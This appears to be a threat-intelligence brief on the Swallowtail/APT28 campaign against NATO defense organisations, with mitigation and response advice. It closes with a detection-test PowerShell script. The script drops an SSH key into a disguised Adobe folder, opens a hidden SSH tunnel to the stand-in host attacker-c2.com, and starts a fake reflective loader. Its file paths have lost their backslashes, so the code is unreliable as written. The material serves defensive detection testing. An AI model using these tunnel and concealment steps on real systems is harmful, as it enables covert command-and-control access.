Russian-Linked Swallowtail Targets NATO Defense Sector Firms

Summary

The Russian espionage group Swallowtail, also tracked as APT28, carried out a multi-month intrusion targeting defense, maritime, and law enforcement organizations across NATO member states. The attackers deployed the Hookedge backdoor and an undocumented reflective loader called ld.exe to maintain access and execute payloads in memory. The campaign also involved advanced techniques such as SSH tunneling for persistent network access and PowerShell-based NTLM credential theft.

Investigation

Symantec’s Threat Hunter Team traced the initial infection to macro-enabled Word documents delivered through Outlook. Analysts identified a delivery-and-callback mechanism using webhook.site and a hidden Microsoft Edge instance to retrieve tasks. The attackers also showed hands-on-keyboard activity, performing reconnaissance, internal network probing, lateral movement, and credential harvesting across compromised environments.

Mitigation

Organizations should prioritize blocking known malicious webhook.site endpoints and monitoring for anomalous Microsoft Edge behavior, including single-pixel or off-screen browser windows. Strict egress filtering should be enforced to prevent unauthorized SSH connections, while security teams should monitor for suspicious PowerShell listener activity. Endpoint protection should also detect reflective loading and unauthorized attempts to access credentials.

Response

If Hookedge-related activity is detected, responders should immediately isolate affected systems to disrupt active SSH tunnels and C2 communications. Conduct a detailed forensic sweep for undocumented files such as ld.exe and inspect scheduled tasks for persistence mechanisms. Perform a comprehensive credential reset for accounts potentially exposed during NTLM credential theft or SSH key compromise.

Simulation Execution

• Attack Narrative & Commands: The adversary intends to establish a persistent, encrypted tunnel to their Command and Control (C2) infrastructure. They have dropped a stolen SSH private key into C:ProgramDataAdobeid_rsa to blend in with legitimate software metadata. They then attempt to run the tunnel using ssh.exe. Following the tunnel establishment, they attempt to load a malicious payload into memory using a custom reflective loader named ld.exe. These actions are designed to bypass traditional perimeter defenses by using legitimate tools (ssh.exe) and in-memory execution (ld.exe).

• Regression Test Script:

  # 1. Simulate Swallowtail SSH Tunneling
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Trigger the SSH detection via exact command line match
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Simulate Reflective Loader execution
  # Creating a dummy ld.exe for telemetry generation
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Note: In a real scenario, this would be a binary; here we simulate the process creation event
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Cleanup Commands:

  # Remove the simulated malicious files and directories
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue